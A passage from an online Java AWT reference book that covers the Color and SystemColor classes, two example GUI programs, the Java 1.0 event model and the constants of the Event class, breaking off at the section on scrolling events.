The equals() method overrides the equals() method of the Object to define equality for Color objects. Two Color objects are equivalent if their red, green, and blue values are equal.

public String toString ()

The toString() method of Color returns a string showing the color's red, green, and blue settings. For example System.out.println (Color.orange) would result in the following:

java.awt.Color[r=255,g=200,b=0]

Previous | Home | Next
FontMetrics | Book Index | SystemColor
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 3] 3.4 SystemColor

Previous Chapter 3
Fonts and Colors 		Next

3.4 SystemColor

In Java 1.1, AWT provides access to desktop color schemes, or themes. To give you an idea of how these themes work, with the Windows Standard scheme for the Windows 95 desktop, buttons have a gray background with black text. If you use the control panel to change to a High Contrast Black scheme, the button's background becomes black and the text white. Prior to 1.1, Java didn't know anything about desktop colors: all color values were hard coded. If you asked for a particular shade of gray, you got that shade, and that was it; applets and applications had no knowledge of the desktop color scheme in effect, and therefore, wouldn't change in response to changes in the color scheme.

Starting with Java 1.1, you can write programs that react to changes in the color scheme: for example, a button's color will change automatically when you use the control panel to change the color scheme. To do so, you use a large number of constants that are defined in the SystemColor class. Although these constants are public static final, they actually have a very strange behavior. Your program is not allowed to modify them (like any other constant). However, their initial values are loaded at run-time, and their values may change, corresponding to changes in the color scheme. This has one important consequence for programmers: you should not use equals()to compare a SystemColor with a "regular" Color; use the getRGB() methods of the colors you are comparing to ensure that you compare the current color value.[1] Using Desktop Colors contains a usage example.

[1] The omission of an equals() method that can properly compare a SystemColor with a Color is unfortunate.

Because SystemColor is a subclass of Color, you can use a SystemColor anywhere you can use a Color object. You will never create your own SystemColor objects; there is no public constructor. The only objects in this class are the twenty or so SystemColor constants.

SystemColor Methods

Constants

There are two sets of constants within SystemColor. The first set provides names for indices into the internal system color lookup table; you will probably never need to use these. All of them have corresponding constants in the second set, except SystemColor.NUM_COLORS, which tells you how many SystemColor constants are in the second set.

public final static int ACTIVE_CAPTION (New)
public final static int ACTIVE_CAPTION_BORDER (New)
public final static int ACTIVE_CAPTION_TEXT (New)
public final static int CONTROL (New)
public final static int CONTROL_DK_SHADOW (New)
public final static int CONTROL_HIGHLIGHT (New)
public final static int CONTROL_LT_HIGHLIGHT (New)
public final static int CONTROL_SHADOW (New)
public final static int CONTROL_TEXT (New)
public final static int DESKTOP (New)
public final static int INACTIVE_CAPTION (New)
public final static int INACTIVE_CAPTION_BORDER (New)
public final static int INACTIVE_CAPTION_TEXT (New)
public final static int INFO (New)
public final static int INFO_TEXT (New)
public final static int MENU (New)
public final static int MENU_TEXT (New)
public final static int NUM_COLORS (New)
public final static int SCROLLBAR (New)
public final static int TEXT (New)
public final static int TEXT_HIGHLIGHT (New)
public final static int TEXT_HIGHLIGHT_TEXT (New)
public final static int TEXT_INACTIVE_TEXT (New)
public final static int TEXT_TEXT (New)
public final static int WINDOW (New)
public final static int WINDOW_BORDER (New)
public final static int WINDOW_TEXT (New)

The second set of constants is the set of SystemColors you use when creating Component objects, to ensure they appear similar to other objects in the user's desktop environment. By using these symbolic constants, you can create new objects that are well integrated into the user's desktop environment, making it easier for the user to work with your program.

public final static SystemColor activeCaption (New)

The activeCaption color represents the background color for the active window's title area. This is automatically set for you when you use Frame.

public final static SystemColor activeCaptionBorder (New)

The activeCaptionBorder color represents the border color for the active window.

public final static SystemColor activeCaptionText (New)

The activeCaptionText color represents the text color to use for the active window's title.

public final static SystemColor control (New)

The control color represents the background color for the different components. If you are creating your own Component by subclassing Canvas, this should be the background color of the new object.

public final static SystemColor controlDkShadow (New)

The controlDkShadow color represents a dark shadow color to be used with control and controlShadow to simulate a three-dimensional appearance. Ordinarily, when not depressed, the controlDkShadow should be used for the object's bottom and right edges. When depressed, controlDkShadow should be used for the top and left edges.

public final static SystemColor controlHighlight (New)

The controlHighlight color represents an emphasis color for use in an area or an item of a custom component.

public final static SystemColor controlLtHighlight (New)

The controlLtHighlight color represents a lighter emphasis color for use in an area or an item of a custom component.

public final static SystemColor controlShadow (New)

The controlShadow color represents a light shadow color to be used with control and controlDkShadow to simulate a three-dimensional appearance. Ordinarily, when not depressed, the controlShadow should be used for the top and left edges. When depressed, controlShadow should be used for the bottom and right edges.

public final static SystemColor controlText (New)

The controlText color represents the text color of a component. Before drawing any text in your own components, you should change the color to controlText with a statement like this:

g.setColor(SystemColor.controlText);

public final static SystemColor desktop (New)

The desktop color represents the background color of the desktop workspace.

public final static SystemColor inactiveCaption (New)

The inactiveCaption color represents the background color for an inactive window's title area.

public final static SystemColor inactiveCaptionBorder (New)

The inactiveCaptionBorder color represents the border color for an inactive window.

public final static SystemColor inactiveCaptionText (New)

The inactiveCaptionText color represents the text color to use for each inactive window's title.

public final static SystemColor info (New)

The info color represents the background color for mouse-over help text. When a mouse dwells over an object, any pop-up help text should be displayed in an area of this color. In the Microsoft Windows world, these are also called "tool tips."

public final static SystemColor infoText (New)

The infoText color represents the text color for mouse-over help text.

public final static SystemColor menu (New)

The menu color represents the background color of deselected MenuItem-like objects. When the menu is selected, the textHighlight color is normally the background color.

public final static SystemColor menuText (New)

The menuText color represents the color of the text on deselected MenuItem-like objects. When a menu is selected, the textHighlightText color is normally the text color. If the menu happens to be inactive, textInactiveText would be used.

public final static SystemColor scrollbar (New)

The scrollbar color represents the background color for scrollbars. This color is used by default with Scrollbar, ScrollPane, TextArea, and List objects.

public final static SystemColor textHighlight (New)

The textHighlight color represents the background color of highlighted text; for example, it is used for the selected area of a TextField or a selected MenuItem.

public final static SystemColor textHighlightText (New)

The textHighlightText color represents the text color of highlighted text.

public final static SystemColor textInactiveText (New)

The textInactiveText color represents the text color of an inactive component.

public final static SystemColor textText (New)

The textText color represents the color of text in TextComponent objects.

public final static SystemColor window (New)

The window color represents the background color of the window's display area. For an applet, this would be the display area specified by the WIDTH and HEIGHT values of the <APPLET> tag (setBackground(SystemColor.window)), although you would probably use it more for the background of a Frame.

public final static SystemColor windowBorder (New)

The windowBorder color represents the color of the borders around a window. With AWT, instances of Window do not have borders, but instances of Frame and Dialog do.

public final static SystemColor windowText (New)

The windowText color represents the color of the text drawn within the window.

NOTE:

Every platform does not fully support every system color. However, on platforms that do not provide natural values for some constants, Java selects reasonable alternate colors.

If you are going to be working only with Java's prefabricated components (Button, List, etc.), you don't have to worry about system colors; the component's default colors will be set appropriately. You are most likely to use system colors if you are creating your own components. In this case, you will use system colors to make your component emulate the behavior of other components; for example, you will use controlText as the color for drawing text, activeCaption as the background for the caption of an active window, and so on. Constructors

There are no public constructors for SystemColor. If you need to create a new color, use the Color class described previously. Miscellaneous methods

public int getRGB ()

The getRGB() method retrieves the current settings for red, green, and blue in one combined value, like Color. However, since the color value is dynamic, getRGB() needs to look up the value in an internal table. Therefore, SystemColor overrides Color.getRGB().

public String toString ()

The toString() method of SystemColor returns a string showing the system color's index into its internal table. For example, the following string is returned by SystemColor.text.toString():

java.awt.SystemColor[i=12]

Previous | Home | Next
Color | Book Index | Displaying Colors
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 3] 3.5 Displaying Colors

Previous Chapter 3
Fonts and Colors 		Next

3.5 Displaying Colors

Example 3.3 displays the predefined colors on the screen in a series of filled rectangles. When you press a mouse button, they appear brighter. When you press a key, they appear darker. (Event handling is fully explained in Chapter 4, Events.) Figure 3.4 shows the results, although it doesn't look very impressive in black and white.

Example 3.3: Color Display

import java.awt.*;
public class ColorDisplay extends Frame {
    int width, height;
    static Color colors[] =
                {Color.black, Color.blue, Color.cyan, Color.darkGray,
                Color.gray, Color.green, Color.lightGray, Color.magenta,
                Color.orange, Color.pink, Color.red, Color.white,
                Color.yellow};
    ColorDisplay () {
        super ("ColorDisplay");
        setBackground (Color.white);
    }
    static public void main (String args[]) {
        ColorDisplay f = new ColorDisplay();
        f.resize (300,300);
        f.show();
    }
    public void paint (Graphics g) {
        g.translate (insets().left, insets().top);
        if (width == 0) {
            Insets inset = insets();
            width  = (size().width - inset.right - inset.left) / 3;
            height = (size().height - inset.top - inset.bottom) / 5;
        }
        for (int i = 0; i < 3; i++) {
            for (int j = 0; j < 5; j++) {
                if ((i == 2) && (j >= 3)) break;
                g.setColor (colors[i*5+j]);
                g.fillRect (i*width, j*height, width, height);
            }
        }
    }
    public boolean keyDown (Event e, int c) {
        for (int i=0;i<colors.length;i++)
            colors[i] = colors[i].darker();
        repaint();
        return true;
    }
    public boolean mouseDown (Event e, int x, int y) {
        for (int i=0;i<colors.length;i++)
            colors[i] = colors[i].brighter();
        repaint();
        return true;
    }
}

Figure 3.4: A color display

[Graphic: Figure 3-4]

Previous | Home | Next
SystemColor | Book Index | Using Desktop Colors
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 3] 3.6 Using Desktop Colors

Previous Chapter 3
Fonts and Colors 		Next

3.6 Using Desktop Colors

Example 3.4 demonstrates how to use the desktop color constants introduced in Java 1.1. If you run this example under an earlier release, an uncatchable class verifier error will occur.

NOTE:

Notice that the border lines are drawn from 0 to width-1 or height-1. This is to draw lines of length width and height, respectively.

Example 3.4: Desktop Color Usage

// Java 1.1 only
import java.awt.*;
public class TextBox3D extends Canvas {
    String text;
    public TextBox3D (String s, int width, int height) {
        super();
        text=s;
        setSize(width, height);
    }
    public synchronized void paint (Graphics g) {
        FontMetrics fm = g.getFontMetrics();
        Dimension size=getSize();
        int x = (size.width - fm.stringWidth(text))/2;
        int y = (size.height - fm.getHeight())/2;
        g.setColor (SystemColor.control);
        g.fillRect (0, 0, size.width, size.height);
        g.setColor (SystemColor.controlShadow);
        g.drawLine (0, 0, 0, size.height-1);
        g.drawLine (0, 0, size.width-1, 0);
        g.setColor (SystemColor.controlDkShadow);
        g.drawLine (0, size.height-1, size.width-1, size.height-1);
        g.drawLine (size.width-1, 0, size.width-1, size.height-1);
        g.setColor (SystemColor.controlText);
        g.drawString (text, x, y);
    }
}

Previous | Home | Next
Displaying Colors | Book Index | Events
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 4] Events

Previous Chapter 4 Next

4. Events

Contents:
Java 1.0 Event Model
The Event Class
The Java 1.1 Event Model

This chapter covers Java's event-driven programming model. Unlike procedural programs, windows-based programs require an event-driven model in which the underlying environment tells your program when something happens. For example, when the user clicks on the mouse, the environment generates an event that it sends to the program. The program must then figure out what the mouse click means and act accordingly.

This chapter covers two different event models, or ways of handling events. In Java 1.0.2 and earlier, events were passed to all components that could possibly have an interest in them. Events themselves were encapsulated in a single Event class. Java 1.1 implements a "delegation" model, in which events are distributed only to objects that have been registered to receive the event. While this is somewhat more complex, it is much more efficient and also more flexible, because it allows any object to receive the events generated by a component. In turn, this means that you can separate the user interface itself from the event-handling code.

In the Java 1.1 event model, all event functionality is contained in a new package, java.awt.event. Within this package, subclasses of the abstract class AWTEvent represent different kinds of events. The package also includes a number of EventListener interfaces that are implemented by classes that want to receive different kinds of events; they define the methods that are called when events of the appropriate type occur. A number of adapter classes are also included; they correspond to the EventListener interfaces and provide null implementations of the methods in the corresponding listener. The adapter classes aren't essential but provide a convenient shortcut for developers; rather than declaring that your class implements a particular EventListener interface, you can declare that your class extends the appropriate adapter.

The old and new event models are incompatible. Although Java 1.1 supports both, you should not use both models in the same program.

4.1 Java 1.0 Event Model

The event model used in versions 1.0 through 1.0.2 of Java is fairly simple. Upon receiving a user-initiated event, like a mouse click, the system generates an instance of the Event class and passes it along to the program. The program identifies the event's target (i.e., the component in which the event occurred) and asks that component to handle the event. If the target can't handle this event, an attempt is made to find a component that can, and the process repeats. That is all there is to it. Most of the work takes place behind the scenes; you don't have to worry about identifying potential targets or delivering events, except in a few special circumstances. Most Java programs only need to provide methods that deal with the specific events they care about.

Identifying the Target

All events occur within a Java Component. The program decides which component gets the event by starting at the outermost level and working in. In Figure 4.1, assume that the user clicks at the location (156, 70) within the enclosing Frame's coordinate space. This action results in a call to the Frame's deliverEvent() method, which determines which component within the frame should receive the event and calls that component's deliverEvent() method. In this case, the process continues until it reaches the Button labeled Blood, which occupies the rectangular space from (135, 60) to (181, 80). Blood doesn't contain any internal components, so it must be the component for which the event is intended. Therefore, an action event is delivered to Blood, with its coordinates translated to fit within the button's coordinate space--that is, the button receives an action event with the coordinates (21, 10). If the user clicked at the location (47, 96) within the Frame's coordinate space, the Frame itself would be the target of the event because there is no other component at this location.

Figure 4.1: deliverEvent

[Graphic: Figure 4-1]

To reach Blood, the event follows the component/container hierarchy shown in Figure 4.2.

Figure 4.2: deliverEvent screen model

[Graphic: Figure 4-2]

Dealing With Events

Once deliverEvent() identifies a target, it calls that target's handleEvent() method (in this case, the handleEvent() method of Blood) to deliver the event for processing. If Blood has not overridden handleEvent(), its default implementation would call Blood's action() method. If Blood has not overridden action(), its default implementation (which is inherited from Component) is executed and does nothing. For your program to respond to the event, you would have to provide your own implementation of action() or handleEvent().

handleEvent() plays a particularly important role in the overall scheme. It is really a dispatcher, which looks at the type of event and calls an appropriate method to do the actual work: action() for action events, mouseUp() for mouse up events, and so on. Table 4.1 shows the event-handler methods you would have to override when using the default handleEvent() implementation. If you create your own handleEvent(), either to handle an event without a default handler or to process events differently, it is best to leave these naming conventions in place. Whenever you override an event-handler method, it is a good idea to call the overridden method to ensure that you don't lose any functionality. All of the event handler methods return a boolean, which determines whether there is any further event processing; this is described in the next section, "Passing the Buck."

Table 4.1: Event Types and Event Handlers
Event Type | Event Handler
MOUSE_ENTER | mouseEnter()
MOUSE_EXIT | mouseExit()
MOUSE_MOVE | mouseMove()
MOUSE_DRAG | mouseDrag()
MOUSE_DOWN | mouseDown()
MOUSE_UP | mouseUp()
KEY_PRESS | keyDown()
KEY_ACTION | keyDown()
KEY_RELEASE | keyUp()
KEY_ACTION_RELEASE | keyUp()
GOT_FOCUS | gotFocus()
LOST_FOCUS | lostFocus()
ACTION_EVENT | action()

Passing the Buck

In actuality, deliverEvent() does not call handleEvent() directly. It calls the postEvent() method of the target component. In turn, postEvent() manages the calls to handleEvent(). postEvent() provides this additional level of indirection to monitor the return value of handleEvent(). If the event handler returns true, the handler has dealt with the event completely. All processing has been completed, and the system can move on to the next event. If the event handler returns false, the handler has not completely processed the event, and postEvent() will contact the component's Container to finish processing the event. Using the screen in Figure 4.1 as the basis, Example 4.1 traces the calls through deliverEvent(), postEvent(), and handleEvent(). The action starts when the user clicks on the Blood button at coordinates (156, 70). In short, Java dives into the depths of the screen's component hierarchy to find the target of the event (by way of the method deliverEvent()). Once it locates the target, it tries to find something to deal with the event by working its way back out (by way of postEvent(), handleEvent(), and the convenience methods). As you can see, there's a lot of overhead, even in this relatively simple example. When we discuss the Java 1.1 event model, you will see that it has much less overhead, primarily because it doesn't need to go looking for a component to process each event.

Example 4.1: The deliverEvent, postEvent, and handleEvent Methods

DeliverEvent.deliverEvent (Event e) called
    DeliverEvent.locate (e.x, e.y)
    Finds Panel1
    Translate Event Coordinates for Panel1
    Panel1.deliverEvent (Event e)
        Panel1.locate (e.x, e.y)
        Finds Panel3
        Translate Event Coordinates for Panel3
        Panel3.deliverEvent (Event e)
            Panel3.locate (e.x, e.y)
            Finds Blood
            Translate Event Coordinates for Blood
            Blood.deliverEvent (Event e)
                Blood.postEvent (Event e)
                    Blood.handleEvent (Event e)
                        Blood.mouseDown   (Event e, e.x, e.y)
                            returns false
                        return false
                    Get parent Container Panel3
                    Translate Event Coordinates for Panel3
                    Panel3.postEvent (Event e)
                        Panel3.handleEvent (Event e)
                            Component.mouseDown (Event e, e.x, e.y)
                                returns false
                            return false
                        Get parent Container Panel1
                        Translate Event Coordinates for Panel1
                        Panel1.postEvent (Event e)
                            Panel1.handleEvent (Event e)
                                Component.action (Event e, e.x, e.y)
                                    return false
                                return false
                            Get parent Container DeliverEvent
                            Translate Event Coordinates for DeliverEvent
                            DeliverEvent.postEvent (Event e)
                                DeliverEvent.handleEvent
                                    DeliverEvent.action (Event e, e.x, e.y)
                                        return true
                                    return true
                                return true
                            return true
                        return true
                    return true
                return true
            return true
        return true
    return true

Overriding handleEvent()

In many programs, you only need to override convenience methods like action() and mouseUp(); you usually don't need to override handleEvent(), which is the high level event handler that calls the convenience methods. However, convenience methods don't exist for all event types. To act upon an event that doesn't have a convenience method (for example, LIST_SELECT), you need to override handleEvent() itself. Unfortunately, this presents a problem. Unlike the convenience methods, for which the default versions don't take any action, handleEvent() does quite a lot: as we've seen, it's the dispatcher that calls the convenience methods. Therefore, when you override handleEvent(), either you should reimplement all the features of the method you are overriding (a very bad idea), or you must make sure that the original handleEvent()is still executed to ensure that the remaining events get handled properly. The simplest way for you to do this is for your new handleEvent() method to act on any events that it is interested in and return true if it has handled those events completely. If the incoming event is not an event that your handleEvent() is interested in, you should call super.handleEvent() and return its return value. The following code shows how you might override handleEvent() to deal with a LIST_SELECT event:

public boolean handleEvent (Event e) {
    if (e.id == Event.LIST_SELECT) {   // take care of LIST_SELECT
        System.out.println ("Selected item: " + e.arg);
        return true;    // LIST_SELECT handled completely; no further action
    } else {   // make sure we call the overridden method to ensure
                // that other events are handled correctly
        return super.handleEvent (e);
    }
}

Basic Event Handlers

The convenience event handlers like mouseDown(), keyUp(), and lostFocus() are all implemented by the Component class. The default versions of these methods do nothing and return false. Because these methods do nothing by default, when overriding them you do not have to ensure that the overridden method gets called. This simplifies the programming task, since your method only needs to return false if it has not completely processed the event. However, if you start to subclass nonstandard components (for example, if someone has created a fancy AudioButton, and you're subclassing that, rather than the standard Button), you probably should explicitly call the overridden method. For example, if you are overriding mouseDown(), you should include a call to super.mouseDown(), just as we called super.handleEvent() in the previous example. This call is "good housekeeping"; most of the time, your program will work without it. However, your program will break as soon as someone changes the behavior of the AudioButton and adds some feature to its mouseDown() method. Calling the super class's event handler helps you write "bulletproof " code.

The code below overrides the mouseDown() method. I'm assuming that we're extending a standard component, rather than extending some custom component, and can therefore dispense with the call to super.mouseDown().

public boolean mouseDown (Event e, int x, int y) {
    System.out.println ("Coordinates: " + x + "-" + y);
    if ((x > 100) || (y < 100))
        return false;    // we're not interested in this event; pass it on
    else                 // we're interested;
        ...              // this is where event-specific processing goes
        return true;     // no further event processing
}

Here's a debugging hint: when overriding an event handler, make sure that the parameter types are correct--remember that each convenience method has different parameters. If your overriding method has parameters that don't match the original method, the program will still compile correctly. However, it won't work. Because the parameters don't match, your new method simply overloads the original, rather than overriding it. As a result, your method will never be called.

Previous | Home | Next
Using Desktop Colors | Book Index | The Event Class
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 4] 4.2 The Event Class

Previous Chapter 4
Events 		Next

4.2 The Event Class

An instance of the Event class is a platform-independent representation that encapsulates the specifics of an event that happens within the Java 1.0 model. It contains everything you need to know about an event: who, what, when, where, and why the event happened. Note that the Event class is not used in the Java 1.1 event model; instead, Java 1.1 has an AWTEvent class, with subclasses for different event types.

When an event occurs, you decide whether or not to process the event. If you decide against reacting, the event passes through your program quickly without anything happening. If you decide to handle the event, you must deal with it quickly so the system can process the next event. If handling the event requires a lot of work, you should move the event-handling code into its own thread. That way, the system can process the next event while you go off and process the first. If you do not multithread your event processing, the system becomes slow and unresponsive and could lose events. A slow and unresponsive program frustrates users and may convince them to find another solution for their problems.

Variables

Event contains ten instance variables that offer all the specific information for a particular event. Instance variables

public Object arg

The arg field contains some data regarding the event, to be interpreted by the recipient. For example, if the user presses Return within a TextField, an Event with an id of ACTION_EVENT is generated with the TextField as the target and the string within it as the arg. See a description of each specific event to find out what its arg means.

public int clickCount

The clickCount field allows you to check for double clicking of the mouse. This field is relevant only for MOUSE_DOWN events. There is no way to specify the time delta used to determine how quick a double-click needs to be, nor is there a maximum value for clickCount. If a user quickly clicks the mouse four times, clickCount is four. Only the passage of a system-specific time delta will reset the value so that the next MOUSE_DOWN is the first click. The incrementing of clickCount does not care which mouse button is pressed.

public Event evt

The evt field does not appear to be used anywhere but is available if you wish to pass around a linked list of events. Then your program can handle this event and tell the system to deal with the next one (as demonstrated in the following code), or you can process the entire chain yourself.

public boolean mouseDown (Event e, int x, int y) {
    System.out.println ("Coordinates: " + x + "-" + y);
    if (e.evt != null)
        postEvent (e.evt);
    return true;
}

public int id

The id field of Event contains the identifier of the event. The system-generated events are the following Event constants:

WINDOW_DESTROY | MOUSE_ENTER
WINDOW_EXPOSE | MOUSE_EXIT
WINDOW_ICONIFY | MOUSE_DRAG
WINDOW_DEICONIFY | SCROLL_LINE_UP
KEY_PRESS | SCROLL_LINE_DOWN
KEY_RELEASE | SCROLL_PAGE_UP
KEY_ACTION | SCROLL_PAGE_DOWN
KEY_ACTION_RELEASE | SCROLL_ABSOLUTE
MOUSE_DOWN | LIST_SELECT
MOUSE_UP | LIST_DESELECT
MOUSE_MOVE | ACTION_EVENT

As a user, you can create your own event types and store your own unique event ID here. In Java 1.0, there is no formal way to prevent conflicts between your events and system events, but using a negative IO is a good ad-hoc method. It is up to you to check all the user events generated in your program in order to avoid conflicts among user events.

public int key

For keyboard-related events, the key field contains the integer representation of the keyboard element that caused the event. Constants are available for the keypad keys. To examine key as a character, just cast it to a char. For nonkeyboard-related events, the value is zero.

pubic int modifiers

The modifiers field shows the state of the modifier keys when the event happened. A flag is set for each modifier key pressed by the user when the event happened. Modifier keys are Shift, Control, Alt, and Meta. Since the middle and right mouse key are indicated in a Java event by a modifier key, one reason to use the modifiers field is to determine which mouse button triggered an event. See Working With Mouse Buttons in Java 1.0 for an example.

public Object target

The target field contains a reference to the object that is the cause of the event. For example, if the user selects a button, the button is the target of the event. If the user moves the mouse into a Frame, the Frame is the target. The target indicates where the event happened, not the component that is dealing with it.

public long when

The when field contains the time of the event in milliseconds. The following code converts this long value to a Date to examine its contents:

Date d = new Date (e.when);

public int x
public int y

The x and y fields show the coordinates where the event happened. The coordinates are always relative to the top left corner of the target of the event and get translated based on the top left corner of the container as the event gets passed through the containing components. (See the previous Identifying the Target for an example of this translation.) It is possible for either or both of these to be outside the coordinate space of the applet (e.g., if user quickly moves the mouse outside the applet).

Constants

Numerous constants are provided with the Event class. Several designate which event happened (the why). Others are available to help in determining the function key a user pressed (the what). And yet more are available to make your life easier.

When the system generates an event, it calls a handler method for it. To deal with the event, you have to override the appropriate method. The different event type sections describe which methods you override. Key constants

These constants are set when a user presses a key. Most of them correspond to function and keypad keys; since such keys are generally used to invoke an action from the program or the system, Java calls them action keys and causes them to generate a different Event type (KEY_ACTION) from regular alphanumeric keys (KEY_PRESS).

Table 4.2 shows the constants used to represent keys and the event type that uses each constant. The values, which are all declared public static final int, appear in the key variable of the event instance. A few keys represent ASCII characters that have string equivalents such as \n. Black stars ( (New)) mark the constants that are new in Java 1.1; they can be used with the 1.0 event model, provided that you are running Java 1.1. Java 1.1 events use a different set of key constants defined in the KeyEvent class.

Table 4.2: Constants for Keys in Java 1.0
Constant | Event Type | Constant | Event Type
HOME | KEY_ACTION | F9 | KEY_ACTION
END | KEY_ACTION | F10 | KEY_ACTION
PGUP | KEY_ACTION | F11 | KEY_ACTION
PGDN | KEY_ACTION | F12 | KEY_ACTION
UP | KEY_ACTION | PRINT_SCREEN (New) | KEY_ACTION
DOWN | KEY_ACTION | SCROLL_LOCK (New) | KEY_ACTION
LEFT | KEY_ACTION | CAPS_LOCK (New) | KEY_ACTION
RIGHT | KEY_ACTION | NUM_LOCK (New) | KEY_ACTION
F1 | KEY_ACTION | PAUSE (New) | KEY_ACTION
F2 | KEY_ACTION | INSERT (New) | KEY_ACTION
F3 | KEY_ACTION | ENTER (\n) (New) | KEY_PRESS
F4 | KEY_ACTION | BACK_SPACE (\b) (New) | KEY_PRESS
F5 | KEY_ACTION | TAB (\t) (New) | KEY_PRESS
F6 | KEY_ACTION | ESCAPE (New) | KEY_PRESS
F7 | KEY_ACTION | DELETE (New) | KEY_PRESS
F8 | KEY_ACTION |  |

Modifiers

Modifiers are keys like Shift, Control, Alt, or Meta. When a user presses any key or mouse button that generates an Event, the modifiers field of the Event instance is set. You can check whether any modifier key was pressed by ANDing its constant with the modifiers field. If multiple modifier keys were down at the time the event occurred, the constants for the different modifiers are ORed together in the field.

public static final int ALT_MASK
public static final int CTRL_MASK
public static final int META_MASK
public static final int SHIFT_MASK

When reporting a mouse event, the system automatically sets the modifiers field. Since Java is advertised as supporting the single-button mouse model, all buttons generate the same mouse events, and the system uses the modifiers field to differentiate between mouse buttons. That way, a user with a one- or two-button mouse can simulate a three-button mouse by clicking on his mouse while holding down a modifier key. Table 4.3 lists the mouse modifier keys; an applet in Working With Mouse Buttons in Java 1.0 demonstrates how to differentiate between mouse buttons.

Table 4.3: Mouse Button Modifier Keys
Mouse Button | Modifier Key
Left mouse button | None
Middle mouse button | ALT_MASK
Right mouse button | META_MASK

For example, if you have a three-button mouse, and click the right button, Java generates some kind of mouse event with the META_MASK set in the modifiers field. If you have a one-button mouse, you can generate the same event by clicking the mouse while depressing the Meta key.

NOTE:

If you have a multibutton mouse and do an Alt+right mouse or Meta+left mouse, the results are platform specific. You should get a mouse event with two masks set.

Key events

The component peers deliver separate key events when a user presses and releases nearly any key. KEY_ACTION and KEY_ACTION_RELEASE are for the function and arrow keys, while KEY_PRESS and KEY_RELEASE are for the remaining control and alphanumeric keys.

public static final int KEY_ACTION

The peers deliver the KEY_ACTION event when the user presses a function or keypad key. The default Component.handleEvent() method calls the keyDown() method for this event. If the user holds down the key, this event is generated multiple times. If you are using the 1.1 event model, the interface method KeyListener.keyPressed() handles this event.

public static final int KEY_ACTION_RELEASE

The peers deliver the KEY_ACTION_RELEASE event when the user releases a function or keypad key. The default handleEvent() method for Component calls the keyUp() method for this event. If you are using the 1.1 event model, the KeyListener.keyReleased() interface method handles this event.

public static final int KEY_PRESS

The peers deliver the KEY_PRESS event when the user presses an ordinary key. The default Component.handleEvent() method calls the keyDown() method for this event. Holding down the key causes multiple KEY_PRESS events to be generated. If you are using the 1.1 event model, the interface method KeyListener.keyPressed() handles this event.

public static final int KEY_RELEASE

The peers deliver KEY_RELEASE events when the user releases an ordinary key. The default handleEvent() method for Component calls the keyUp() method for this event. If you are using the 1.1 event model, the interface method KeyListener.keyReleased() handles this event.

NOTE:

If you want to capture arrow and keypad keys under the X Window System, make sure the key codes are set up properly, using the xmodmap command.

NOTE:

Some platforms generate events for the modifier keys by themselves, whereas other platforms require modifier keys to be pressed with another key. For example, on a Windows 95 platform, if Ctrl+A is pressed, you would expect one KEY_PRESS and one KEY_RELEASE. However, there is a second KEY_RELEASE for the Control key. Under Motif, you get only a single KEY_RELEASE.

Window events

Window events happen only for components that are children of Window. Several of these events are available only on certain platforms. Like other event types, the id variable holds the value of the specific event instance.

public static final int WINDOW_DESTROY

The peers deliver the WINDOW_DESTROY event whenever the system tells a window to destroy itself. This is usually done when the user selects the window manager's Close or Quit window menu option. By default, Frame instances do not deal with this event, and you must remember to catch it yourself. If you are using the 1.1 event model, the WindowListener.windowClosing() interface method handles this event.

public static final int WINDOW_EXPOSE

The peers deliver the WINDOW_EXPOSE event whenever all or part of a window becomes visible. To find out what part of the window has become uncovered, use the getClipRect() method (or getClipBounds() in Java version 1.1) of the Graphics parameter to the paint() method. If you are using the 1.1 event model, the WindowListener.windowOpening() interface method most closely corresponds to the handling of this event.

public static final int WINDOW_ICONIFY

The peers deliver the WINDOW_ICONIFY event when the user iconifies the window. If you are using the 1.1 event model, the interface method WindowListener.windowIconified() handles this event.

public static final int WINDOW_DEICONIFY

The peers deliver the WINDOW_DEICONIFY event when the user de-iconifies the window. If you are using the 1.1 event model, the interface method WindowListener.windowDeiconified() handles this event.

public static final int WINDOW_MOVED

The WINDOW_MOVED event signifies that the user has moved the window. If you are using the 1.1 event model, the ComponentListener.componentMoved() interface method handles this event.

Mouse events

The component peers deliver mouse events when a user presses or releases a mouse button. Events are also delivered whenever the mouse moves. In order to be platform independent, Java pretends that all mice have a single button. If you press the second or third button, Java generates a regular mouse event but sets the event's modifers field with a flag that indicates which button was pressed. If you press the left button, no modifiers flags are set. Pressing the center button sets the ALT_MASK flag; pressing the right button sets the META_MASK flag. Therefore, you can determine which mouse button was pressed by looking at the Event.modifiers attribute. Furthermore, users with a one-button or two-button mouse can generate the same events by pressing a mouse button while holding down the Alt or Meta keys.

NOTE:

Early releases of Java (1.0.2 and earlier) only propagated mouse events from Canvas and Container objects. With the 1.1 event model, the events that different components process are better defined.

public static final int MOUSE_DOWN

The peers deliver the MOUSE_DOWN event when the user presses any mouse button. This action must occur over a component that passes along the MOUSE_DOWN event. The default Component.handleEvent() method calls the mouseDown() method for this event. If you are using the 1.1 event model, the MouseListener.mousePressed() interface method handles this event.

public static final int MOUSE_UP

The peers deliver the MOUSE_UP event when the user releases the mouse button. This action must occur over a component that passes along the MOUSE_UP event. The default handleEvent() method for Component calls the mouseUp() method for this event. If you are using the 1.1 event model, the interface method MouseListener.mouseReleased() handles this event.

public static final int MOUSE_MOVE

The peers deliver the MOUSE_MOVE event whenever the user moves the mouse over any part of the applet. This can happen many, many times more than you want to track, so make sure you really want to do something with this event before trying to capture it. (You can also capture MOUSE_MOVE events and without losing much, choose to deal with only every third or fourth movement.) The default handleEvent() method calls the mouseMove() method for the event. If you are using the 1.1 event model, the interface method MouseMotionListener.mouseMoved() handles this event.

public static final int MOUSE_DRAG

The peers deliver the MOUSE_DRAG event whenever the user moves the mouse over any part of the applet with a mouse button depressed. The default method handleEvent() calls the mouseDrag() method for the event. If you are using the 1.1 event model, the interface method MouseMotionListener.mouseDragged() handles this event.

public static final int MOUSE_ENTER

The peers deliver the MOUSE_ENTER event whenever the cursor enters a component. The default handleEvent() method calls the mouseEnter() method for the event. If you are using the 1.1 event model, the interface method MouseListener.mouseEntered() handles this event.

public static final int MOUSE_EXIT

The peers deliver the MOUSE_EXIT event whenever the cursor leaves a component. The default handleEvent() method calls the mouseExit() method for the event. If you are using the 1.1 event model, the interface method MouseListener.mouseExited() handles this event.

Scrolling events
